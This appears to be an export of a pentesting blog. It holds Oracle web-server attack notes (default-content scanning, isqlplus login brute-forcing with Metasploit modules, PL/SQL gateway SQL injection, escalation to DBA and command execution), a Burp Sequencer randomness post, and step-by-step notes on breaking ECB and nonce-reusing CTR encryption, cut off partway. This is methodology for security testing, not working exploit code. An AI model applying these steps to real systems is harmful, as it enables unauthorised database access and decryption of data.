<b><span style="font-family: Arial; font-size: 15px; font-weight: normal; vertical-align: baseline; white-space: pre-wrap;">Use the above to scan the site for default content, there is a ton of it by default on Oracle, some of it is vulnerable and must be MANUALLY removed. Some examples of things it may find (there are TONS)</span></b><b><span style="font-family: Arial; font-size: 15px; font-weight: normal; vertical-align: baseline; white-space: pre-wrap;"><span class="Apple-tab-span" style="white-space: pre;"> </span>-UDDI Endpoints -> can test default unames and passwords to admin things</span><br /><span style="font-family: Arial; font-size: 15px; font-weight: normal; vertical-align: baseline; white-space: pre-wrap;"><span class="Apple-tab-span" style="white-space: pre;"> </span>-Oracle isqlplus -> SQL execution (installed by default)</span><br /><span style="font-family: Arial; font-size: 15px; font-weight: normal; vertical-align: baseline; white-space: pre-wrap;"><span class="Apple-tab-span" style="white-space: pre;"> </span><span class="Apple-tab-span" style="white-space: pre;"> </span>Attack the isqlplus login:</span><br /><span style="font-family: Arial; font-size: 15px; font-weight: normal; vertical-align: baseline; white-space: pre-wrap;"><span class="Apple-tab-span" style="white-space: pre;"> </span><span class="Apple-tab-span" style="white-space: pre;"> </span>-oracle_isqlplus_sidbrute - metasploit module</span><br /><span style="font-family: Arial; font-size: 15px; font-weight: normal; vertical-align: baseline; white-space: pre-wrap;"><span class="Apple-tab-span" style="white-space: pre;"> </span><span class="Apple-tab-span" style="white-space: pre;"> </span>-oracle_isqlplug_login - metasploit module</span><br /><span style="font-family: Arial; font-size: 15px; font-weight: normal; vertical-align: baseline; white-space: pre-wrap;"><span class="Apple-tab-span" style="white-space: pre;"> </span>-printenv, javart.jsp... lots of info disclosure and other default content</span></b><br />
<b><span style="font-family: Arial; font-size: 15px; font-weight: normal; vertical-align: baseline; white-space: pre-wrap;"><br /></span></b>
<b><span style="font-family: Arial; font-size: 15px; font-weight: normal; vertical-align: baseline; white-space: pre-wrap;">-oracle_dav_bypass.rb - an exploit to bypass basic auth on oracle webdav if it is found by the above scripts</span><br /><br /><span style="font-family: Arial; font-size: 15px; font-weight: normal; vertical-align: baseline; white-space: pre-wrap;"></span></b><br />
<h3>
<b><span style="font-family: Arial; font-weight: normal; vertical-align: baseline; white-space: pre-wrap;"><span style="font-size: large;">Attacking PL/SQL Gateways:</span></span></b></h3>
<h4>
<span style="font-family: Arial; font-size: 15px; vertical-align: baseline; white-space: pre-wrap;">(1) Identify PL/SQL Gateway and DAD</span></h4>
<span style="font-family: Arial; font-size: 15px; font-weight: normal; vertical-align: baseline; white-space: pre-wrap;"><br /></span>
<span style="font-family: Arial; font-size: 15px; font-weight: normal; vertical-align: baseline; white-space: pre-wrap;">PL/SQL Gateway </span><br />
<span style="font-family: Arial; font-size: 15px; font-weight: normal; vertical-align: baseline; white-space: pre-wrap;">-Gateway takes client requests and then proxies them to the backend database.</span><br />
<span style="font-family: Arial; font-size: 15px; font-weight: normal; vertical-align: baseline; white-space: pre-wrap;">-To identify PL/SQL Gateways look for pls in the URL (can be different, usually 3 letters) followed by DAD name</span><br />
<span style="font-family: Arial;"><span style="font-size: 15px; white-space: pre-wrap;"><br /></span></span><span style="font-family: Arial; font-size: 15px; font-weight: normal; vertical-align: baseline; white-space: pre-wrap;">eg: /pls/xyz</span><br />
<span style="font-family: Arial; font-size: 15px; font-weight: normal; vertical-align: baseline; white-space: pre-wrap;"> /pls/owa</span><br />
<span style="font-family: Arial; font-size: 15px; font-weight: normal; vertical-align: baseline; white-space: pre-wrap;"> /pls/portal</span><br />
<span style="font-family: Arial; font-size: 15px; font-weight: normal; vertical-align: baseline; white-space: pre-wrap;"> /xyz/owa</span><br />
<span style="font-family: Arial; font-size: 15px; font-weight: normal; vertical-align: baseline; white-space: pre-wrap;"> /xyz/portal</span><br />
<span style="font-family: Arial;"><span style="font-size: 15px; white-space: pre-wrap;"><br /></span></span><span style="font-family: Arial; font-size: 15px; font-weight: normal; vertical-align: baseline; white-space: pre-wrap;">Common DAD names:</span><br />
<span style="font-family: Arial; font-size: 15px; font-weight: normal; vertical-align: baseline; white-space: pre-wrap;">SIMPLEDAD, ORASSO, HTMLDB, SSODAD, PORTAL, PORTAL2, PORTAL30, PORTA30_SSO, DAD, OWA, PROD, APP</span><br />
<span style="font-family: Arial;"><span style="font-size: 15px; white-space: pre-wrap;"><br /></span></span><span style="font-family: Arial; font-size: 15px; font-weight: normal; vertical-align: baseline; white-space: pre-wrap;">-CGI scanner should pick up common DAD and PLS names</span><br />
<span style="font-family: Arial; font-size: 15px; font-weight: normal; vertical-align: baseline; white-space: pre-wrap;">-look at oracle_dad_scanner.rb look for 302's and 200's for valid DAD's</span><br />
<span style="font-family: Arial; font-size: 15px; font-weight: normal; vertical-align: baseline; white-space: pre-wrap;"></span><br />
<h4>
<span style="font-family: Arial; font-size: 15px; vertical-align: baseline; white-space: pre-wrap;"><b>(2) Ensure PL/SQL gateway is up and running, use oracle_plsql_enabled.rb</b></span></h4>
<span style="font-family: Arial; font-size: 15px; font-weight: normal; vertical-align: baseline; white-space: pre-wrap;"> It makes a request to /pls/dad/null - should return 200</span><br />
<span style="font-family: Arial; font-size: 15px; font-weight: normal; vertical-align: baseline; white-space: pre-wrap;"> <span class="Apple-tab-span" style="white-space: pre;"> </span><span class="Apple-tab-span" style="white-space: pre;"> </span><span class="Apple-tab-span" style="white-space: pre;"> </span> /pls/dad/nofunction - should return 404</span><br />
<span style="font-family: Arial; font-size: 15px; font-weight: normal; vertical-align: baseline; white-space: pre-wrap;"></span><br />
<h4>
<span style="font-family: Arial; font-size: 15px; vertical-align: baseline; white-space: pre-wrap;"><b>(3) From here you may exploit SQL injection in PL/SQL packages installed by default</b></span><span style="font-family: Arial; font-size: 15px; font-weight: normal; vertical-align: baseline; white-space: pre-wrap;"> </span></h4>
<h4>
<span style="font-family: Arial; font-size: 15px; font-weight: normal; vertical-align: baseline; white-space: pre-wrap;"> use oracle_modplsql_pwncheck.rb to check for common vulns</span></h4>
<h4>
<span style="font-family: Arial; font-size: 15px; vertical-align: baseline; white-space: pre-wrap;"><b>(4) Escalate to DBA - get code execution! </b></span></h4>
<div>
<span style="font-family: Arial; font-size: 15px; font-weight: normal; vertical-align: baseline; white-space: pre-wrap;"><br /></span></div>
<div>
<span style="font-family: Arial; font-size: 15px; font-weight: normal; vertical-align: baseline; white-space: pre-wrap;">Some functions run as DBA and you can promote your unpriv user to DBA</span><br />
<span style="font-family: Arial; font-size: 15px; font-weight: normal; vertical-align: baseline; white-space: pre-wrap;">Check oracle_modplsql_escalate.rb for other privilege escalation exploits</span><br />
<span style="font-family: Arial; font-size: 15px; font-weight: normal; vertical-align: baseline; white-space: pre-wrap;"></span><br />
<h4>
<span style="font-family: Arial; font-size: 15px; vertical-align: baseline; white-space: pre-wrap;"><b>(5) Now you can run commands! </b></span></h4>
</div>
<div>
<span style="font-family: Arial; font-size: 15px; font-weight: normal; vertical-align: baseline; white-space: pre-wrap;">oracle_portal_runcmd.rb Also look into "Oracle Portal Hacker" from Syd</span><br />
<br /><span style="font-family: Arial; font-size: 15px; font-weight: normal; vertical-align: baseline; white-space: pre-wrap;"></span>
<h4>
<span style="font-family: Arial; font-size: 15px; vertical-align: baseline; white-space: pre-wrap;"><b>(7) Privilege Escalation and running other commands </b></span></h4>
</div>
<div>
<span style="font-family: Arial; font-size: 15px; font-weight: normal; vertical-align: baseline; white-space: pre-wrap;"><br /></span></div>
<div>
<span style="font-family: Arial; font-size: 15px; font-weight: normal; vertical-align: baseline; white-space: pre-wrap;">eg:(UPDATE, INSERT, DELETE) from a SELECT based SQL Injection in Oracle: http://www.youtube.com/watch?v=J9PxYSvb8DI&feature=player_embedded</span><br />
<span style="font-family: Arial; font-size: 15px; font-weight: normal; vertical-align: baseline; white-space: pre-wrap;"></span><br />
<h3>
<span style="font-family: Arial; font-weight: normal; vertical-align: baseline; white-space: pre-wrap;"><span style="font-size: large;">ORACLE NINJAS/RESOURCES:</span></span></h3>
<span style="font-family: Arial; font-size: 15px; font-weight: normal; vertical-align: baseline; white-space: pre-wrap;">OWASP - http://www.owasp.org/index.php/Testing_for_Oracle</span><br />
<span style="font-family: Arial; font-size: 15px; font-weight: normal; vertical-align: baseline; white-space: pre-wrap;">Alexander Kornbrust - http://www.red-database-security.com</span><br />
<span style="font-family: Arial; font-size: 15px; font-weight: normal; vertical-align: baseline; white-space: pre-wrap;">Sumit Siddharth - http://www.notsosecure.com</span><br />
<span style="font-family: Arial; font-size: 15px; font-weight: normal; vertical-align: baseline; white-space: pre-wrap;">David Litchfield - http://www.davidlitchfield.com/blog/</span><br />
<span style="font-family: Arial; font-size: 15px; font-weight: normal; vertical-align: baseline; white-space: pre-wrap;">Joxean Koret - http://joxeankoret.com</span><br />
<span style="font-family: Arial; font-size: 15px; font-weight: normal; vertical-align: baseline; white-space: pre-wrap;">http://www.argeniss.com/index.html</span><br />
<span style="font-family: Arial; font-size: 15px; font-weight: normal; vertical-align: baseline; white-space: pre-wrap;">http://0xdeadbeef.info</span><br />
<span style="font-family: Arial; font-size: 15px; font-weight: normal; vertical-align: baseline; white-space: pre-wrap;">http://databasesecurity.com/oracle/hpoas.pdf</span><br />
<span style="font-family: Arial; font-size: 15px; font-weight: normal; vertical-align: baseline; white-space: pre-wrap;"></span><br />
<span style="font-family: Arial; font-size: 15px; font-weight: normal; vertical-align: baseline; white-space: pre-wrap;"></span><br /></div>
Anonymoushttp://www.blogger.com/profile/14557935438165448741noreply@blogger.com0tag:blogger.com,1999:blog-6160546299096632925.post-68652610443239635702012-10-25T06:51:00.000-07:002012-10-25T06:51:56.079-07:00BURP Sequencer and Randomness<span style="font-family: 'Lucida Grande', 'Lucida Sans Unicode', 'Lucida Sans', Verdana, Tahoma, sans-serif; font-size: x-small;">So I stumbled into </span><a href="http://www.tssci-security.com/archives/2007/12/21/testing-for-randomness-and-predictability-using-burp-sequencer/" style="color: #336699; font-family: 'Lucida Grande', 'Lucida Sans Unicode', 'Lucida Sans', Verdana, Tahoma, sans-serif; font-size: small; text-decoration: none;">http://www.tssci-security.com/archives/2007/12/21/testing-for-randomness-and-predictability-using-burp-sequencer/</a><span style="font-family: 'Lucida Grande', 'Lucida Sans Unicode', 'Lucida Sans', Verdana, Tahoma, sans-serif; font-size: x-small;"> a while ago and it had me wondering about the sequencer tool. Unfortunately the authors didn't really analyse the results in detail and only looked at the summary which is a little misleading.</span><br />
<div style="font-family: 'Lucida Grande', 'Lucida Sans Unicode', 'Lucida Sans', Verdana, Tahoma, sans-serif; font-size: small; margin-bottom: 5px; margin-top: 5px; padding: 0px;">
<br /></div>
<div style="font-family: 'Lucida Grande', 'Lucida Sans Unicode', 'Lucida Sans', Verdana, Tahoma, sans-serif; font-size: small; margin-bottom: 5px; margin-top: 5px; padding: 0px;">
I've done some testing of my own to duplicate/clarify these results.</div>
<div style="font-family: 'Lucida Grande', 'Lucida Sans Unicode', 'Lucida Sans', Verdana, Tahoma, sans-serif; font-size: small; margin-bottom: 5px; margin-top: 5px; padding: 0px;">
<br /></div>
<div style="font-family: 'Lucida Grande', 'Lucida Sans Unicode', 'Lucida Sans', Verdana, Tahoma, sans-serif; font-size: small; margin-bottom: 5px; margin-top: 5px; padding: 0px;">
I repeated the same test as the author. 10000 16 character alphanumeric strings from random.org. The following was output as the summary in sequencer:</div>
<div style="font-family: 'Lucida Grande', 'Lucida Sans Unicode', 'Lucida Sans', Verdana, Tahoma, sans-serif; font-size: small; margin-bottom: 5px; margin-top: 5px; padding: 0px;">
<br /></div>
<div style="font-family: 'Lucida Grande', 'Lucida Sans Unicode', 'Lucida Sans', Verdana, Tahoma, sans-serif; font-size: small; margin-bottom: 5px; margin-top: 5px; padding: 0px;">
"The overall quality of randomness within the sample is estimated to be: poor. At a significance level of 1%, the amount of effective entropy is estimated to be: 26 bits."</div>
<div style="font-family: 'Lucida Grande', 'Lucida Sans Unicode', 'Lucida Sans', Verdana, Tahoma, sans-serif; font-size: small; margin-bottom: 5px; margin-top: 5px; padding: 0px;">
<br /></div>
<div style="font-family: 'Lucida Grande', 'Lucida Sans Unicode', 'Lucida Sans', Verdana, Tahoma, sans-serif; font-size: small; margin-bottom: 5px; margin-top: 5px; padding: 0px;">
Now to explain this. First of all, the character-level analysis looked ok, a few anomalies in the 'transitions' but overall not too bad. The first thing I noticed looking at the bit-level analysis is Burp was only reporting up to 79 bits, even though the tokens were 16 characters long.</div>
<div style="font-family: 'Lucida Grande', 'Lucida Sans Unicode', 'Lucida Sans', Verdana, Tahoma, sans-serif; font-size: small; margin-bottom: 5px; margin-top: 5px; padding: 0px;">
<br /></div>
<div style="font-family: 'Lucida Grande', 'Lucida Sans Unicode', 'Lucida Sans', Verdana, Tahoma, sans-serif; font-size: small; margin-bottom: 5px; margin-top: 5px; padding: 0px;">
After I RTFM [1], I found that Burp creates a custom encoding for tokens on the fly based on the size of the character set used at each character position. I had 16 character positions each with a charset size of 62 characters. Since 62 is not a power of 2, there will be 'information loss' (according to the sequencer manual [1]) meaning rather than use a 6 bit encoding (the number needed to encode 62 unique items), burp just uses 5 bits and some of our data can't be represented in the bit-level analysis.</div>
<div style="font-family: 'Lucida Grande', 'Lucida Sans Unicode', 'Lucida Sans', Verdana, Tahoma, sans-serif; font-size: small; margin-bottom: 5px; margin-top: 5px; padding: 0px;">
<br /></div>
<div style="font-family: 'Lucida Grande', 'Lucida Sans Unicode', 'Lucida Sans', Verdana, Tahoma, sans-serif; font-size: small; margin-bottom: 5px; margin-top: 5px; padding: 0px;">
Extrapolating a bit, I'm guessing what it does internally is drop the most significant bit off of each of the 6 bit character encodings, the result of this is that 32 of our 62 original characters will encode to the same value in the bit-level analysis! It is no surprise that such an encoding would fail a randomness test.</div>
<div style="font-family: 'Lucida Grande', 'Lucida Sans Unicode', 'Lucida Sans', Verdana, Tahoma, sans-serif; font-size: small; margin-bottom: 5px; margin-top: 5px; padding: 0px;">
<br /></div>
<div style="font-family: 'Lucida Grande', 'Lucida Sans Unicode', 'Lucida Sans', Verdana, Tahoma, sans-serif; font-size: small; margin-bottom: 5px; margin-top: 5px; padding: 0px;">
Being lazy and not having access to the source code, I decided to take a bit of a shortcut to pseudo confirm this hypothesis. I generated a new set of 10000 16 character tokens, this time from the charset "a-zA-Z0-9#!" giving a total of 2<sup>5</sup> characters. Here is the glorious result in the summary:</div>
<div style="font-family: 'Lucida Grande', 'Lucida Sans Unicode', 'Lucida Sans', Verdana, Tahoma, sans-serif; font-size: small; margin-bottom: 5px; margin-top: 5px; padding: 0px;">
"The overall quality of randomness within the sample is estimated to be: excellent. At a significance level of 1%, the amount of effective entropy is estimated to be: 86 bits."</div>
<div style="font-family: 'Lucida Grande', 'Lucida Sans Unicode', 'Lucida Sans', Verdana, Tahoma, sans-serif; font-size: small; margin-bottom: 5px; margin-top: 5px; padding: 0px;">
<br /></div>
<div style="font-family: 'Lucida Grande', 'Lucida Sans Unicode', 'Lucida Sans', Verdana, Tahoma, sans-serif; font-size: small; margin-bottom: 5px; margin-top: 5px; padding: 0px;">
EDIT: Repeated the test for a 16 character charset and got the following, as expected: "The overall quality of randomness within the sample is estimated to be: very good. At a significance level of 1%, the amount of effective entropy is estimated to be: 71 bits."</div>
<div style="font-family: 'Lucida Grande', 'Lucida Sans Unicode', 'Lucida Sans', Verdana, Tahoma, sans-serif; font-size: small; margin-bottom: 5px; margin-top: 5px; padding: 0px;">
<br /></div>
<div style="font-family: 'Lucida Grande', 'Lucida Sans Unicode', 'Lucida Sans', Verdana, Tahoma, sans-serif; font-size: small; margin-bottom: 5px; margin-top: 5px; padding: 0px;">
tl;dr: If your charset is not a power of 2, don't put too much stock into the summary or bit-level analysis in burp sequencer. In fact, the closer to a power of 2 it is without being one, the worse this will be. Instead just use the character-level analysis, this will remain reliable and informative.</div>
<div style="font-family: 'Lucida Grande', 'Lucida Sans Unicode', 'Lucida Sans', Verdana, Tahoma, sans-serif; font-size: small; margin-bottom: 5px; margin-top: 5px; padding: 0px;">
<br /></div>
<div style="font-family: 'Lucida Grande', 'Lucida Sans Unicode', 'Lucida Sans', Verdana, Tahoma, sans-serif; font-size: small; margin-bottom: 5px; margin-top: 5px; padding: 0px;">
[1] <a href="http://portswigger.net/burp/help/sequencer.html" style="color: #336699; text-decoration: none;">http://portswigger.net/burp/help/sequencer.html</a></div>
Anonymoushttp://www.blogger.com/profile/14557935438165448741noreply@blogger.com0tag:blogger.com,1999:blog-6160546299096632925.post-68776154238659894292012-10-15T06:23:00.002-07:002012-10-15T06:23:09.354-07:00Attacking Application Cryptography NotesThis post is pretty much a straight copy/paste from my notes on attacking application encryption. For the original source at the wiki I posted on Google Code (and some semi-complete code that implements these attacks in python), go here http://code.google.com/p/webapp-cryptotest/wiki/AttackingApplicationEncryption.<br />
<br />
And now for the copy/paste -- hopefully it's not too horrible:<br />
<br />
<br />
<h1 style="background-image: none; border: 0px; font-family: arial, sans-serif; font-size: x-large; margin-top: 0px; max-width: 700px; padding-left: 0px;">
Attacking Application Encryption</h1>
<div style="font-family: arial, sans-serif; font-size: 13px; line-height: 1.25em; max-width: 64em;">
REFS: <a href="http://www.slideshare.net/ceng/cryptography-for-penetration-testers-pdf-version-presentation" rel="nofollow" style="color: #0000cc;">http://www.slideshare.net/ceng/cryptography-for-penetration-testers-pdf-version-presentation</a></div>
<div style="font-family: arial, sans-serif; font-size: 13px; line-height: 1.25em; max-width: 64em;">
Bruce Schnier - Cryptography Engineering</div>
<div style="font-family: arial, sans-serif; font-size: 13px; line-height: 1.25em; max-width: 64em;">
Tom Ptacek - <a href="http://vimeo.com/41116595" rel="nofollow" style="color: #0000cc;">http://vimeo.com/41116595</a></div>
<h2 style="background-image: none; border: 0px; font-family: arial, sans-serif; font-size: large; max-width: 700px; padding-left: 0px;">
<a href="http://www.blogger.com/blogger.g?blogID=6160546299096632925" name="Identify_the_cipher_and_look_for_attacks_on_the_mode_of_encrypti"></a>Identify the cipher and look for attacks on the mode of encryption:</h2>
<h2 style="background-image: none; border: 0px; font-family: arial, sans-serif; font-size: large; max-width: 700px; padding-left: 0px;">
<a href="http://www.blogger.com/blogger.g?blogID=6160546299096632925" name="Q:_Is_it_a_block_Cipher_or_Stream_cipher?"></a>Q: Is it a block Cipher or Stream cipher?</h2>
<div style="font-family: arial, sans-serif; font-size: 13px; line-height: 1.25em; max-width: 64em;">
A: Is the output always a multiple of common block sizes (usually 128bits = 16 bytes)? Does pushing the input length over the block size cause another block to be added to the output?</div>
<div style="font-family: arial, sans-serif; font-size: 13px; line-height: 1.25em; max-width: 64em;">
If neither are these are true, it's probably a stream cipher or block cipher being used in CTR or some other stream mode. Try modifying a single byte of input, if you see a single byte change in the output it is a broken implementation of a stream cipher, more details to follow.</div>
<h2 style="background-image: none; border: 0px; font-family: arial, sans-serif; font-size: large; max-width: 700px; padding-left: 0px;">
<a href="http://www.blogger.com/blogger.g?blogID=6160546299096632925" name="Q:_Is_it_ECB_Mode_(Insecure,_You_Win)?"></a>Q: Is it ECB Mode (Insecure, You Win)?</h2>
<div style="font-family: arial, sans-serif; font-size: 13px; line-height: 1.25em; max-width: 64em;">
A: Give a long, repeated input eg: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa</div>
<div style="font-family: arial, sans-serif; font-size: 13px; line-height: 1.25em; max-width: 64em;">
This should yield at LEAST 3 repeated blocks in the ciphertext if it is AES ECB</div>
<div style="font-family: arial, sans-serif; font-size: 13px; line-height: 1.25em; max-width: 64em;">
Another test if limited input space availble - do small PT changes cause single block CT changes?</div>
<div style="font-family: arial, sans-serif; font-size: 13px; line-height: 1.25em; max-width: 64em;">
If it is ECB, we can attack it in multiple ways</div>
<h3 style="background-image: none; border: 0px; font-family: arial, sans-serif; font-size: medium; margin: 0px; max-width: 700px; padding: 0.5ex 0.5em 0.5ex 0px;">
</h3>
<h3 style="background-image: none; border: 0px; font-family: arial, sans-serif; font-size: medium; margin: 0px; max-width: 700px; padding: 0.5ex 0.5em 0.5ex 0px;">
<a href="http://www.blogger.com/blogger.g?blogID=6160546299096632925" name="Attack_-_Block_Shuffling"></a>Attack - Block Shuffling</h3>
<div style="font-family: arial, sans-serif; font-size: 13px; line-height: 1.25em; max-width: 64em;">
1) ECB blocks can be shuffled and substituted to modify/tamper with the ciphertext</div>
<h3 style="background-image: none; border: 0px; font-family: arial, sans-serif; font-size: medium; margin: 0px; max-width: 700px; padding: 0.5ex 0.5em 0.5ex 0px;">
</h3>
<h3 style="background-image: none; border: 0px; font-family: arial, sans-serif; font-size: medium; margin: 0px; max-width: 700px; padding: 0.5ex 0.5em 0.5ex 0px;">
<a href="http://www.blogger.com/blogger.g?blogID=6160546299096632925" name="Attack_-_Chosen_Boundary_Attack_-_Also_works_on_CBC_with_static"></a>Attack - Chosen Boundary Attack - Also works on CBC with static IV</h3>
<div style="font-family: arial, sans-serif; font-size: 13px; line-height: 1.25em; max-width: 64em;">
<a href="http://erlend.oftedal.no/blog/beast/" rel="nofollow" style="color: #0000cc;">http://erlend.oftedal.no/blog/beast/</a></div>
<div style="font-family: arial, sans-serif; font-size: 13px; line-height: 1.25em; max-width: 64em;">
1) Find out about how many bytes precede our input in the CT - look for where the repeated blocks start</div>
<div style="font-family: arial, sans-serif; font-size: 13px; line-height: 1.25em; max-width: 64em;">
<br /></div>
<div style="font-family: arial, sans-serif; font-size: 13px; line-height: 1.25em; max-width: 64em;">
2) Manipulate input so that the LAST block of our repeated input lines up with the block boundary. Do this by starting with large input and removing characters until you LOSE a repeated block. Then REMOVE the last character (byte) from the input so that the first byte of ciphertext is picked up within our last block eg:</div>
<div style="font-family: arial, sans-serif; font-size: 13px; line-height: 1.25em; max-width: 64em;">
AAAAAAAAAAAAAAAA (we have a full block of our repeated input)</div>
<div style="font-family: arial, sans-serif; font-size: 13px; line-height: 1.25em; max-width: 64em;">
AAAAAAAAAAAAAAA? (we remove one character and ‘pick up’ the last character or unknown CT)</div>
<div style="font-family: arial, sans-serif; font-size: 13px; line-height: 1.25em; max-width: 64em;">
<br /></div>
<div style="font-family: arial, sans-serif; font-size: 13px; line-height: 1.25em; max-width: 64em;">
3) Perform a dictionary attack to find ? using a previous repeated block. We know we have found x when the ciphertext in the 2 blocks matches eg:</div>
<div style="font-family: arial, sans-serif; font-size: 13px; line-height: 1.25em; max-width: 64em;">
Suppose the last block that contains our input (AAAAAAAAAAAAAAA? where ? is unknown) encrypts as:</div>
<div style="font-family: arial, sans-serif; font-size: 13px; line-height: 1.25em; max-width: 64em;">
AAAAAAAAAAAAAAA? ==> JDJDJEIDLELEMSE32</div>
<div style="font-family: arial, sans-serif; font-size: 13px; line-height: 1.25em; max-width: 64em;">
Then we can use one of the blocks where we control all the characters to brute force ?:</div>
<div style="font-family: arial, sans-serif; font-size: 13px; line-height: 1.25em; max-width: 64em;">
AAAAAAAAAAAAAAAa ==> ZHEKJDKDLENAKEJJ3</div>
<div style="font-family: arial, sans-serif; font-size: 13px; line-height: 1.25em; max-width: 64em;">
AAAAAAAAAAAAAAAb ==> DKMDJOWEKLJDSKNN1</div>
<div style="font-family: arial, sans-serif; font-size: 13px; line-height: 1.25em; max-width: 64em;">
AAAAAAAAAAAAAAAc ==> JDJDJEIDLELEMSE32 <strong></strong><strong>MATCH</strong></div>
<div style="font-family: arial, sans-serif; font-size: 13px; line-height: 1.25em; max-width: 64em;">
<br /></div>
<div style="font-family: arial, sans-serif; font-size: 13px; line-height: 1.25em; max-width: 64em;">
4) To find the next character, remove another character from the last block and modify your block where you control all the characters so that its second from last character is the one found in step 3. Brute force the last character.</div>
<div style="font-family: arial, sans-serif; font-size: 13px; line-height: 1.25em; max-width: 64em;">
<br /></div>
<div style="font-family: arial, sans-serif; font-size: 13px; line-height: 1.25em; max-width: 64em;">
5) Repeat.</div>
<h2 style="background-image: none; border: 0px; font-family: arial, sans-serif; font-size: large; max-width: 700px; padding-left: 0px;">
<a href="http://www.blogger.com/blogger.g?blogID=6160546299096632925" name="Q:_Is_it_CTR_Mode?"></a>Q: Is it CTR Mode?</h2>
<div style="font-family: arial, sans-serif; font-size: 13px; line-height: 1.25em; max-width: 64em;">
A: Does the ciphertext grow byte-at-a-time as input is added? If so, probably AES w/ CTR, could be RC4 as well, attacks below work for both.</div>
<div style="font-family: arial, sans-serif; font-size: 13px; line-height: 1.25em; max-width: 64em;">
<br /></div>
<div style="font-family: arial, sans-serif; font-size: 13px; line-height: 1.25em; max-width: 64em;">
Does a single byte PT change cause a single byte CT change? Indicates broken implementation of a stream cipher (reusing the same NONCE).</div>
<div style="font-family: arial, sans-serif; font-size: 13px; line-height: 1.25em; max-width: 64em;">
<br /></div>
<div style="font-family: arial, sans-serif; font-size: 13px; line-height: 1.25em; max-width: 64em;">
Are there repeated strings in the ciphertext? Indicates CTR wrapping and can be attacked.</div>
<div style="font-family: arial, sans-serif; font-size: 13px; line-height: 1.25em; max-width: 64em;">
<br /></div>
<div style="font-family: arial, sans-serif; font-size: 13px; line-height: 1.25em; max-width: 64em;">
Must understand how CTR works - Wikipedia/Schneirs book</div>
<div style="font-family: arial, sans-serif; font-size: 13px; line-height: 1.25em; max-width: 64em;">
<span style="line-height: 1.25em;"><br /></span></div>
<div style="font-family: arial, sans-serif; font-size: 13px; line-height: 1.25em; max-width: 64em;">
<span style="line-height: 1.25em;">Vulnerable if we can induce the same keystream to be used for multiple blocks OR multiple messages.</span></div>
<div style="font-family: arial, sans-serif; font-size: 13px; line-height: 1.25em; max-width: 64em;">
The way the keystream works is there is one unique NONCE per message, a message can be of any length. The counter function C(x) is usually just a simple counter, eg: C(0) = 0, C(1) =1 ... However some implementations will screw this up and have a wrapping or repeating counter. To encrypt the nth block of the message, we AES encrypt the NONCE+C(n) to get 16bytes of ciphertext, then XOR this with block n of the plaintext to get the encrypted block. Decryption is done by XORing the plaintext with the relevant part of the keystream (E(NONCE+C(n))) that was used to encrypt it.</div>
<div style="font-family: arial, sans-serif; font-size: 13px; line-height: 1.25em; max-width: 64em;">
<br /></div>
<div style="font-family: arial, sans-serif; font-size: 13px; line-height: 1.25em; max-width: 64em;">
If we can induce the condition where some part of the keystream is repeated (used to encrypt two different blocks of plaintext or 2 different messages) we can possibly recover the content of those plaintext blocks even if they are both unknown. If one is known and one is not, we can DEFINITELY recover it (see the next ‘simple’ attack)</div>
<div style="font-family: arial, sans-serif; font-size: 13px; line-height: 1.25em; max-width: 64em;">
<br /></div>
<div style="font-family: arial, sans-serif; font-size: 13px; line-height: 1.25em; max-width: 64em;">
Conditions - Must find 2+ blocks that satisfy:</div>
<div style="font-family: arial, sans-serif; font-size: 13px; line-height: 1.25em; max-width: 64em;">
Same AES key (almost always true)</div>
<div style="font-family: arial, sans-serif; font-size: 13px; line-height: 1.25em; max-width: 64em;">
Same NONCE (Should be unique per message, sometimes can be influenced (parameter), often ZEROED or reused by insecure implementations)</div>
<div style="font-family: arial, sans-serif; font-size: 13px; line-height: 1.25em; max-width: 64em;">
Same Counter (Usually the ith block in all messages will have the same counter value, sometimes a counter will wrap within the same message (look for repeated CT sections, if 3+ bytes of CT repeat, good chance the counter wrapped and we can attack it), sometimes it is timestamp based, sometimes it will count up from a random value...)</div>
<div style="font-family: arial, sans-serif; font-size: 13px; line-height: 1.25em; max-width: 64em;">
<br /></div>
<div style="font-family: arial, sans-serif; font-size: 13px; line-height: 1.25em; max-width: 64em;">
Some of these conditions may be able to be induced (i.e. Counter wrapping by providing long input or influencing the NONCE somehow). To know if you’ve gotten it right, you should see multiple blocks of the same plaintext coming out as the same ciphertext. If this is the case, you can break the encryption.</div>
<div style="font-family: arial, sans-serif; font-size: 13px; line-height: 1.25em; max-width: 64em;">
If all you have is a long string of ciphertext (or a bunch of unknown messages), look for repeated strings of bytes. It is VERY unlikely that long strings of bytes will repeat at random, chances are the counter wrapped or nonce was reused. You can use this information to attack the ciphertext as described below.</div>
<h3 style="background-image: none; border: 0px; font-family: arial, sans-serif; font-size: medium; margin: 0px; max-width: 700px; padding: 0.5ex 0.5em 0.5ex 0px;">
</h3>
<h3 style="background-image: none; border: 0px; font-family: arial, sans-serif; font-size: medium; margin: 0px; max-width: 700px; padding: 0.5ex 0.5em 0.5ex 0px;">
<a href="http://www.blogger.com/blogger.g?blogID=6160546299096632925" name="Attack_-_Simple_Keystream_Attack_with_SOME_known_Plain_Text_and"></a>Attack - Simple Keystream Attack with SOME known Plain Text and Reused NONCE</h3>
<div style="font-family: arial, sans-serif; font-size: 13px; line-height: 1.25em; max-width: 64em;">
1) Find the location of some known PT in the CT by trial/error. Supply a long string of input, get the CT. Change the first/last character of your input, look for which bytes in the CT change. If only 2 bytes change and they correspond to the length of your input, this attack will work. This is because they are reusing the nonce between messages.</div>
<div style="font-family: arial, sans-serif; font-size: 13px; line-height: 1.25em; max-width: 64em;">
2) XOR the PT you provided and the CT it encrypted to, this will give you the keystream used to encrypt it. This means we can get arbitrary amounts of keystream starting from where your input begins in the CT.</div>
<div style="font-family: arial, sans-serif; font-size: 13px; line-height: 1.25em; max-width: 64em;">
3a) Now shorten your input to a single character. XOR the keystream you got in step (2) with the ciphertext, starting at the byte in the CT where your input starts. You should get back the plain text!</div>
<div style="font-family: arial, sans-serif; font-size: 13px; line-height: 1.25em; max-width: 64em;">
3b) XOR the same part (byte offset) of the CT in a different message, one you may not control the input to, with the result from (2), may get back plaintext if they are reusing the NONCE which is likely</div>
<div style="font-family: arial, sans-serif; font-size: 13px; line-height: 1.25em; max-width: 64em;">
